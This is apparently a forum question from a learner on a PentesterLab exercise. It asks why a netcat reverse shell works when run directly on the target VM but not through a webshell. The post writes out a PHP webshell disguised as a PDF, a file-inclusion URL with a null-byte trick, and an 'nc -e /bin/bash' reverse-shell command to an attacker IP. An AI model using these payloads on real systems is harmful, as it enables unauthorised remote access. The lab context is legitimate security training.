I am doing an exercise of PentesterLab, I've got a webshell called 1.pdf, and it can be included in index.php as a PHP file. It contains code like this:
%PDF-1.4 <?php echo system($_GET["cmd"]); ?>
Now I want to create a reverse shell using nc with following commands, but it does not work properly:
index.php?page=uploads/1.pdf%00&cmd=/bin/nc 192.168.117.128 8001 -e /bin/bash
If I input commands at 192.168.117.128 then enter, nothing was output.
While, if I run the following commands directly in the VM(the target server), it connects to the attacker properly:
/bin/nc 192.168.117.128 8001 -e /bin/bash
Output of commands are properly echoed at 192.168.117.128
I wonder why netcat works in VM properly but does not work in webshell?
Anyone's help is appreciated, thanks.